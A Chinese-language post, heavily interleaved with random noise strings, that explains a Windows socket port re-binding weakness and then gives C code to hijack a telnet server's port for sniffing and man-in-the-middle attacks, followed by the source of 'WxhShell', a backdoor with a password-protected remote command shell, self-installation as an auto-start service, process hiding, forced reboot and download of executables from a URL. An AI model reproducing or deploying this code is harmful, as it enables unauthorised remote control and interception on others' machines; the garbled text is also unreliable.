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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'ihhoW8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xdf82) NzU,va N saddr.sin_family = AF_INET; qf=1?=l291 O~59FuL saddr.sin_addr.s_addr = htonl(INADDR_ANY); V5GW:QT Ma8_:7`>O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rg{9UVj {dL?rQ>5L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 94 e):
jS ;x:rZV/ 这意味着什么?意味着可以进行如下的攻击: %H]lGN) X=Ys<TM, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q^A+<d 3,]gEE3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RjWqGr;bO Wm);C~Le 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $KLD2BAL I! > \#K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 J?Dq>%+^ #
eCjn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,RgB$TcE :^Fh!br== 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oyNSh8c7c YKE46q;J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nK$X[KrV' B*~5)}1op #include *;m5'}jsy #include :.?gHF.? #include '0\@Mc U] #include t=u
Qb= DWORD WINAPI ClientThread(LPVOID lpParam); 4'6`Ll|iq int main() o99pHW(E { WBN w~|DO] WORD wVersionRequested; >0dv+8Mn DWORD ret; M/q E2L[y WSADATA wsaData; MY/3]g< BOOL val; Zum0J{l
h SOCKADDR_IN saddr; {5d9$v7k4 SOCKADDR_IN scaddr; Xe#K{gA int err; 5w\fSY SOCKET s; 52b*[tZ SOCKET sc; K{ \;2M int caddsize; `E!N9qI?t$ HANDLE mt; <)\y#N DWORD tid; 7lS#f1E wVersionRequested = MAKEWORD( 2, 2 ); p/2jh& err = WSAStartup( wVersionRequested, &wsaData ); {@<J_A if ( err != 0 ) { &f7fK|} printf("error!WSAStartup failed!\n"); Fe.t/amS/ return -1; "dROb}szn } Iw<j T|y) saddr.sin_family = AF_INET; @^;j)%F} N? 5x9duK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w|CZ7|6 sTOa saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RGn!{= saddr.sin_port = htons(23); Z0`T\ay if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W`"uu.~f { +uBLk0/)> printf("error!socket failed!\n"); "wlt> SU return -1; f>s?4 } r}0\}~'?c val = TRUE; ?H_LX;r //SO_REUSEADDR选项就是可以实现端口重绑定的 >yXN,5d[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2P]L9'N{Y { <H0R&l\ printf("error!setsockopt failed!\n"); `'\t$nU return -1; `xz<>g9e } h Xb%;GL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qfky_5R\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4J?t_) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y3h/~bM% ]c&<zeX, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K"uNxZ { <BO)E( ret=GetLastError(); rJa$9B*^ printf("error!bind failed!\n"); xil[#W]7Ge return -1; 4QIE8f
Y } 557(EM
listen(s,2); wHIj<"2 while(1) RZe'Kw - { V97,1` caddsize = sizeof(scaddr); 1yV: qp //接受连接请求 wZ4tCZA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <$N"q if(sc!=INVALID_SOCKET) uNn[[LS { :K
~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oQv3GpO if(mt==NULL) \}~s2Y5j { ?88`fJ@tk? printf("Thread Creat Failed!\n"); 0<PR+Iv*i break; +kq'+ Y7 } 6YuY|JD } l<Q>N|1#k% CloseHandle(mt); lNv".Y=l } $7QoMV 8V closesocket(s); a=XW[TY1 WSACleanup(); X[2[!)Rk return 0; 1xU3#b&2tC } 6{,HiY DWORD WINAPI ClientThread(LPVOID lpParam) SlSM+F { k|BHnj SOCKET ss = (SOCKET)lpParam; vA)O{W\o SOCKET sc; c8Q]!p+Yp unsigned char buf[4096]; cEe?*\G SOCKADDR_IN saddr; p#SY /KIw long num; U$H@ jJ* DWORD val; #q3l!3\mW DWORD ret; k z"3ZDR //如果是隐藏端口应用的话,可以在此处加一些判断 Y%|@R3[Nk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3x~{QG5Gn saddr.sin_family = AF_INET; 4t/&. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #{9G sD saddr.sin_port = htons(23); |!q$_at if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@HBEt^! { ^E6d`2w- printf("error!socket failed!\n"); 'a^{=+ return -1; pG^}Xf2a } | 3+m%;X val = 100; 83cW=?UgA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \([WH!7 { Z+pom7A"E ret = GetLastError(); GHF_R,7 return -1; o$C|J]% } v(leide if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6DL[aD { #k<":O ret = GetLastError(); W>M~Sk$v return -1; VD4C::J } 7ZUiY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dY"}\v6 { $|KaBx1 printf("error!socket connect failed!\n"); i)Lp7m z closesocket(sc); [!^-J}^g~\ closesocket(ss); V@d)?T return -1; T\VNqs@ } x90jw$\%7 while(1) l7JY]?p { 5cK@WE: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Px5t,5xT8 //如果是嗅探内容的话,可以再此处进行内容分析和记录 +pH@oFNK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Hqc9&0 num = recv(ss,buf,4096,0); n:U>Fj>q if(num>0) A =Dhod send(sc,buf,num,0); nK3k]gLc{ else if(num==0) 7&O`p(j break; E3a_8@ZB7 num = recv(sc,buf,4096,0); WxbsD S; if(num>0) _,6f#t send(ss,buf,num,0); 7GZgu$' else if(num==0) P6Bl
*@G break; 6zIgQ4Bp24 } *m+5Pr`7 closesocket(ss); u)Q;8$` closesocket(sc); )a=/8ofe return 0 ; ^D@b;EyK } ;r=b|B9c b'ml=a#i0 V 'X;jC ========================================================== f>$h@/-* 'mdM q=VI 下边附上一个代码,,WXhSHELL rZbEvS %Y4e9T". ========================================================== R.j1?\ |m,VTViv;i #include "stdafx.h" ?p[O%_Xf {OT:3SS7 #include <stdio.h> j1Yq5`ia #include <string.h> vMSW$Bx ; #include <windows.h> K:yr-#(P/ #include <winsock2.h> pz_e =xr #include <winsvc.h> LT+3q%W.UC #include <urlmon.h> 'ul\Q`N3 K8^kJSF\ #pragma comment (lib, "Ws2_32.lib") Qq0l*)mX #pragma comment (lib, "urlmon.lib") b'x$2K;E 0MIUI<;j #define MAX_USER 100 // 最大客户端连接数 |'HLz=5\ #define BUF_SOCK 200 // sock buffer 7Tf]:4Y" #define KEY_BUFF 255 // 输入 buffer q}L+/+b m:`@?n~.. #define REBOOT 0 // 重启 Gie@JX #define SHUTDOWN 1 // 关机 <64HveJ v4*rPGv #define DEF_PORT 5000 // 监听端口 % U`xu. ~3WL)% #define REG_LEN 16 // 注册表键长度 N~=A #define SVC_LEN 80 // NT服务名长度 [A~G- IGj`_a // 从dll定义API U[_8WJ7+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (UEXxUdQ_Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $%c{06Oq( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,<ya@Fi{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h.
hjz? E\2Ml@J // wxhshell配置信息 8{&["? struct WSCFG { dc 0@Y int ws_port; // 监听端口 Az*KsY{/r char ws_passstr[REG_LEN]; // 口令 j!#OG int ws_autoins; // 安装标记, 1=yes 0=no CfT/R/L char ws_regname[REG_LEN]; // 注册表键名 f1{z~i9@$ char ws_svcname[REG_LEN]; // 服务名 ['X[qn char ws_svcdisp[SVC_LEN]; // 服务显示名 {LE&ylE char ws_svcdesc[SVC_LEN]; // 服务描述信息 ro| vh\y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ar,
9U9 int ws_downexe; // 下载执行标记, 1=yes 0=no va{#RnU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" o96:4j4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Z %: p5]_}I`+2 }; BQgoVnQo_c oJ;rc{n- // default Wxhshell configuration 0.(<'!"y struct WSCFG wscfg={DEF_PORT, Z/ bB
h "xuhuanlingzhe", x%BF{Sw 1, V+B71\x< "Wxhshell", KI&:9j+M) "Wxhshell", *FgJ|y6gk "WxhShell Service", CyM}Hc&w "Wrsky Windows CmdShell Service", Ya4?{2h@+ "Please Input Your Password: ", M^SuV 1, 2M6dMvS " http://www.wrsky.com/wxhshell.exe", sy<iKCM\ "Wxhshell.exe" ahIE;Y\j' }; mVH,HqsXa H:oQ // 消息定义模块 XQ;I,\m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ['Z{@9 char *msg_ws_prompt="\n\r? for help\n\r#>"; Sgj/s~j~1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )r!e2zc=Q char *msg_ws_ext="\n\rExit."; ;[5r7
jHU char *msg_ws_end="\n\rQuit."; k
'zat3#f char *msg_ws_boot="\n\rReboot..."; NCt~9xS. char *msg_ws_poff="\n\rShutdown..."; Up ?=m^ char *msg_ws_down="\n\rSave to "; ZCiY,;c oK Kz 4 char *msg_ws_err="\n\rErr!"; Pern*x9$ char *msg_ws_ok="\n\rOK!"; {sc[RRN~C WfVMdwz= char ExeFile[MAX_PATH]; K;kM_%9u int nUser = 0; T)\NkM& HANDLE handles[MAX_USER]; `1'5j "v int OsIsNt; 9&jPp4qG ^Vo"fI`=C SERVICE_STATUS serviceStatus; g6' !v SERVICE_STATUS_HANDLE hServiceStatusHandle; IcoowZZ E/O5e(h // 函数声明 E 5kF^P int Install(void); @phN|;? int Uninstall(void); !$kR ;Q"/ int DownloadFile(char *sURL, SOCKET wsh); xdF guV8 int Boot(int flag); |`]oc,1h@ void HideProc(void); O~'FR[J int GetOsVer(void); {\We72! int Wxhshell(SOCKET wsl); _X%Dw void TalkWithClient(void *cs); yq*JdTF int CmdShell(SOCKET sock); c f*zejbw int StartFromService(void); 9) ea.Gu int StartWxhshell(LPSTR lpCmdLine); <aVfJd/fT ,YlQK; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^5)_wUf VOID WINAPI NTServiceHandler( DWORD fdwControl ); B_~jA%0m' TA)LPBG // 数据结构和表定义 k^*$^;z SERVICE_TABLE_ENTRY DispatchTable[] = yh!B!v' { ks:{TA27 {wscfg.ws_svcname, NTServiceMain}, 05)|"EX) {NULL, NULL} l{EU_|q }; `p|[rS> (T;9us0 // 自我安装 1ih* gJPpj int Install(void) nLd~2qBuv { &z ksRX char svExeFile[MAX_PATH]; NV~vuC HKEY key; Zz")`hUG strcpy(svExeFile,ExeFile); tp+=0k2i #:
hVF/ // 如果是win9x系统,修改注册表设为自启动 )0|):g if(!OsIsNt) { pTET%)3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j`9Nwa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BTs0o&}e RegCloseKey(key); "_)|8|gN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `vEqj v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b`]M|C [5 RegCloseKey(key); *<dHqK`?C return 0; UPO^V:.R4 } ysth{[<5F3 } )*HjRTF6G } 3ZN>9` else { [d:@1yc 4WG=m}X
// 如果是NT以上系统,安装为系统服务 #Q+R%p[D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =c]a
{|W? if (schSCManager!=0) H5p5S\g-) { QK7e|M SC_HANDLE schService = CreateService =h[yAf ( 7vNtv9 schSCManager, @\$Keg=>: wscfg.ws_svcname, ~,Mr0 wscfg.ws_svcdisp, xppkLoPK SERVICE_ALL_ACCESS, %yhI;M^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >;}]pI0T SERVICE_AUTO_START, K P6PQgc SERVICE_ERROR_NORMAL, *[
#*n n svExeFile, ^Y<M~K972 NULL, Q
3X
NULL, cuMc*i$w! NULL, j!CU NULL, qZ?{-Vw NULL nrbazyKm ); 2:~cJk{ if (schService!=0) FK3Whe{KP{ { \bRy(Z) CloseServiceHandle(schService); 2YluJ:LN CloseServiceHandle(schSCManager); %09*l%,; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `{L{wJ:&a strcat(svExeFile,wscfg.ws_svcname); ,5:![ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' 3VqkQ4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PC0HH RegCloseKey(key); q xSs
~Qc return 0; OaNc9c" } "B?R|
Xg } D{W
SKn CloseServiceHandle(schSCManager); /Mx.:.A&$ } @Q3, bj } %xpd(&)n sSy$(% return 1; \N yr=<c } NkoofhZ W/a,.M // 自我卸载 7y>(H<^> int Uninstall(void) +i4P,Lp { $>(9~Yh0 HKEY key; 5Abz5-^KH l\Cu1r-z if(!OsIsNt) { *bU% @O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik1XGFy?
RegDeleteValue(key,wscfg.ws_regname); -B,c B RegCloseKey(key); ZGzc"r(r:# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6."PS4}: RegDeleteValue(key,wscfg.ws_regname); XUf7yD RegCloseKey(key); mDlCt_h return 0; J$#D:KaU:N } qKA_A% } e6o/q)9# } )kF2HF else { v10mDr (<
:mM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D| [/>x if (schSCManager!=0) rI *!"PL { 5'62ulwMP= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +R9%~Z.= if (schService!=0) Vv2{^!aZ { Fdr*xHx$P if(DeleteService(schService)!=0) { .@Hmg CloseServiceHandle(schService); a" ^#!G<+ CloseServiceHandle(schSCManager); TG4^_nRl return 0; i'Wcf1I-= } 89db5Dx CloseServiceHandle(schService); LH,]vuXh } 98h :X % CloseServiceHandle(schSCManager); VZt;P%1;h } \u{Jf'g } R
!Fx)xj G I&qwA return 1; An/>05| } 9}.,2JE j6RJC // 从指定url下载文件 Lblet int DownloadFile(char *sURL, SOCKET wsh) tI"wVr { h)7v1,;w' HRESULT hr; $1b]xQ char seps[]= "/"; }+*w.X}L char *token; 3_C98ClE char *file; /i> ?i@O- char myURL[MAX_PATH]; %7iUlO}}V char myFILE[MAX_PATH]; :a=ro2NH 5d> nIKW strcpy(myURL,sURL); @Jkui token=strtok(myURL,seps); E7k-pquvE while(token!=NULL) 5Ws5X_?d { %N7gT*B: file=token; eSJAPU(D token=strtok(NULL,seps); -<]\l3E&J } Av@&hD\ gHp'3SnS GetCurrentDirectory(MAX_PATH,myFILE); >c}:
strcat(myFILE, "\\"); q|R+x7x strcat(myFILE, file); ^8b~ZX send(wsh,myFILE,strlen(myFILE),0); ! Zno[R send(wsh,"...",3,0); e',hC0&S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F1 9;RaP+ if(hr==S_OK) %uh R'8" return 0; l}dj{s else Tavtr9L0XY return 1; TlM'g6SQS ) )fDOJ } 9)#gtDM%J f&=K]:WDe // 系统电源模块 @gs26jX~2} int Boot(int flag) 37J\i ] { 0Ddn@!J* HANDLE hToken; ww-XMz h TOKEN_PRIVILEGES tkp; JqL<$mSep ]lymY _ > if(OsIsNt) { &uv>'S#% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :yd=No@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5wT',U"+ tkp.PrivilegeCount = 1; .@4Q kG/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *U( 1iv0n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j7QBU if(flag==REBOOT) { ;%v%K+}r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9vB9k@9 return 0; sx<}
tbG
} H4P\hOK7r else { '~ jy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hVQ7'@ return 0; 9m%7dsv } ju8',ZC } &gY;`*< else { THrc
H if(flag==REBOOT) { (k7; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EG'7}W return 0; i)A`Vpn } P}ehNt*($ else { R1]v}f_I" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3N(8|wh return 0; 0SAG6k~x } $xKg }cO } i n[n Aa ( 1QdZD| return 1; _Ym&UY.u# } *O"%tp6 ^G]KE8 // win9x进程隐藏模块 M>`?m
L void HideProc(void) DR.3
J`?K { MsN2A6|33 Z\ "Kd HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3MS3O.0]/ if ( hKernel != NULL ) j<.
<S { { 7AZ5%o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Y0/i,d* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?7rmwy\ FreeLibrary(hKernel); {jj]K.& } ;`X`c Y?"v2~;3 return; fY|@{]rx } v*vub#wP D'HL /[@` // 获取操作系统版本 K8yWg\K int GetOsVer(void) GV `idFd { &-EyM*:u! OSVERSIONINFO winfo; B`'}&6jr. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T>AI0R3 GetVersionEx(&winfo); ?M*C*/R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6/p]jN return 1; |q1b8A \ else KDNTnA1c return 0; _*OaiEL+: } *@b~f&Lx6 hW*^1%1 // 客户端句柄模块 7v4-hfN int Wxhshell(SOCKET wsl) Jgi{7J { Z7K!"I SOCKET wsh; s+OvS9et_ struct sockaddr_in client; NKIk d DWORD myID; 'ugR!o1 BP7<^`i& while(nUser<MAX_USER) yKX:Z4I/ { vZ1D3ytfG int nSize=sizeof(client); s5_1}KKCs wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^^j|0qshL if(wsh==INVALID_SOCKET) return 1; BMtYM{S6 Q rrZF. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OI;L9\MJc if(handles[nUser]==0) g%<{G/Tz closesocket(wsh); <uWJ>sg^6 else Gc3PN nUser++; P~b%;*m}8 } }[hDg6i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DbPBgD>Q r&j+; JM5 return 0; iG;d0>Sp } 9I^H)~S J\Oc]gi\L // 关闭 socket L@^!( void CloseIt(SOCKET wsh) ]9~#;M%1 { <+mO$0h"r closesocket(wsh); gvwCoCbb nUser--; 9e :d2 ExitThread(0); MO(5-R` } MRxo|A{ Vt$ $ceu // 客户端请求句柄 T8M[eSbZ void TalkWithClient(void *cs) W+-f ` { mtHi9).,y| 0zq\ j SOCKET wsh=(SOCKET)cs; =:0IHyB#0 char pwd[SVC_LEN]; ej??j<] char cmd[KEY_BUFF]; $yxIE} char chr[1]; CO6XIgTe int i,j; zL[U; @N:3`[oB while (nUser < MAX_USER) { U`vt/#j
1 :` !mCW`Q- if(wscfg.ws_passstr) { 9Rt(G_' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nu1w: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H~1?MAX //ZeroMemory(pwd,KEY_BUFF); ./5MsHfbxt i=0; sB*h`vs0T while(i<SVC_LEN) { JqH.QnKcv u0$5Fd&X // 设置超时 Hf E;$ fd_set FdRead; ;Vtpq3 struct timeval TimeOut; S+E3;' H FD_ZERO(&FdRead); hGaYQgGq FD_SET(wsh,&FdRead); _tg3%X] TimeOut.tv_sec=8; k?@W/}Iv9 TimeOut.tv_usec=0; 6b1 Uj< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ::Ve ,-0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n$\6}\k KcMzZ!d7m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lh5+fk~i~8 pwd =chr[0]; l<+,(E= if(chr[0]==0xd || chr[0]==0xa) { qgY(S}V pwd=0; _|2";.1E break; g]hn@{[ } [+[fD i++; fe]T9EDA } ^dp[Z,[1z Ni;{\"Gt // 如果是非法用户,关闭 socket nqw*oLFQ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zq6ebj } @rDv
(W {UjIxV(J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N'1 [t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,'@ISCK^ '\3.isTsx while(1) { ,\">o vV33 k?_$h<Y ZeroMemory(cmd,KEY_BUFF); ;:K?7wfXn MJk:s[o // 自动支持客户端 telnet标准 HoQ(1e$G- j=0; 8B(Q7Qj while(j<KEY_BUFF) { m$e@<~To if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [E&"9%K cmd[j]=chr[0]; TuT= if(chr[0]==0xa || chr[0]==0xd) { @zpHemdB cmd[j]=0; =?QQb> break; "nS{
;: } vcUM]m8k j++; Pp" )hFx } Szob_IEq, RI].LB_ // 下载文件 Tr+Y@]"
if(strstr(cmd,"http://")) { L?pvz} send(wsh,msg_ws_down,strlen(msg_ws_down),0); gcY~_'&u if(DownloadFile(cmd,wsh)) <GU(/S!} send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_z2z6 else S&g- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <
oG\)!O } 3jQ$72_ else { Tlv|To ?%TM7Z4 switch(cmd[0]) { [@71 OjL"0imN6 // 帮助 _O'rZ5}& case '?': { CpJXLc3_d5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ny;)+v?mN\ break; doUqUak } y#SD-#I- // 安装 u K &_IE} case 'i': { t`/RcAwA if(Install()) GVPEene send(wsh,msg_ws_err,strlen(msg_ws_err),0); fxCPGj else 5EZr"[8M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pxuz { break; N =}Z# } hB1 iSm // 卸载 5nlyb,"^g case 'r': { "Kf~`0P if(Uninstall()) AZm)$@e) send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA^
]x> else JL+[1=uE1L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|H(N}S_ break; t@mw f3, } 5+PBS)pJ]% // 显示 wxhshell 所在路径 /VOST^z! case 'p': { RAJ|#I1 char svExeFile[MAX_PATH]; ~V)VGGOL$v strcpy(svExeFile,"\n\r"); mCP +7q7 strcat(svExeFile,ExeFile); +(hwe
jyC send(wsh,svExeFile,strlen(svExeFile),0); sjbC~Te-- break; jF2GHyB } #pxet // 重启 #hiDZ>nr case 'b': { %y~]3XWik send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .ceU @^ if(Boot(REBOOT)) Ptxc9~k send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<oD*C else { &Fr68HNmj closesocket(wsh); fXR_)d ExitThread(0); '
=s*DL`0 } [UrS%]OSR break; \d8=*Zpz7 }
oEf^o*5( // 关机 $XzlW=3y case 'd': { )Syf5I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G\+MT(&5 if(Boot(SHUTDOWN)) i]Of<eQ" send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp.iRFFkP else { dQoMAsxzM closesocket(wsh); H_^u_%:e
ExitThread(0); 6aK2{-+ } tWy<9TF break; 'cCj@bZ9X } [WSIC *|; // 获取shell X "r$,~ case 's': { Nv#, s_hG CmdShell(wsh); o*S $j Cf? closesocket(wsh); X Ow^"=Oa[ ExitThread(0); MPw7!G(qj break; zb*4Nsda: } }Bg<Fm // 退出 icbYfgQ case 'x': { YZ+g<HXB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $CV'p/^En CloseIt(wsh); V&nJT~k break; HBYpjxh } Oc3%pb; // 离开 FK('E3PG case 'q': { tAn6pGp send(wsh,msg_ws_end,strlen(msg_ws_end),0); AMiFsgBj closesocket(wsh); QxL
FN(d WSACleanup(); _\6(4a`, exit(1); M?CMN.Dw break; ph+tk5k } tOVm~C,R } dQ"W~ig } QAw,X Z.K^ lt"*y.%@b // 提示信息 [l{eJ/W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fN>|X\- } C\h<02 } )}lV41u Gi2Ey37]O return; O/~^}8TLL } f.CI.aozW K?I&,t_*R // shell模块句柄 x/^zNO\1 int CmdShell(SOCKET sock) -L3RzX { ^@> Qiy STARTUPINFO si; +Ea XS ZeroMemory(&si,sizeof(si)); H2KY$;X[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2$UR"P si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q{(&:~M PROCESS_INFORMATION ProcessInfo; !Z)^c& char cmdline[]="cmd"; b
DvbM CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (ytkq( return 0; I(S6DkU } N#ObxOE6T" \mGM#E // 自身启动模式 2geC3v% 0o int StartFromService(void) DgP%Q { vGDo?X~#o typedef struct U$Z}<8 { oa7Hx<Y DWORD ExitStatus; MPc=cLv DWORD PebBaseAddress; uwzT? C A6 DWORD AffinityMask; K>6p5*& DWORD BasePriority; znRhQ+8;! ULONG UniqueProcessId; g>CQO,s;w ULONG InheritedFromUniqueProcessId; M*uG`Eo& } PROCESS_BASIC_INFORMATION; hgltD8, Puh&F< B PROCNTQSIP NtQueryInformationProcess; ?Ea"%z*c5 u{z{3fW_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'kK%sE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9mm(?O~'p `7ZJB$7D|* HANDLE hProcess; '& :"/4@) PROCESS_BASIC_INFORMATION pbi; gV;GC{pY ,oil}N( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /L^dHI]Q if(NULL == hInst ) return 0; }5Uf`pM8 6Fb~`J~s g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >S]')O$c 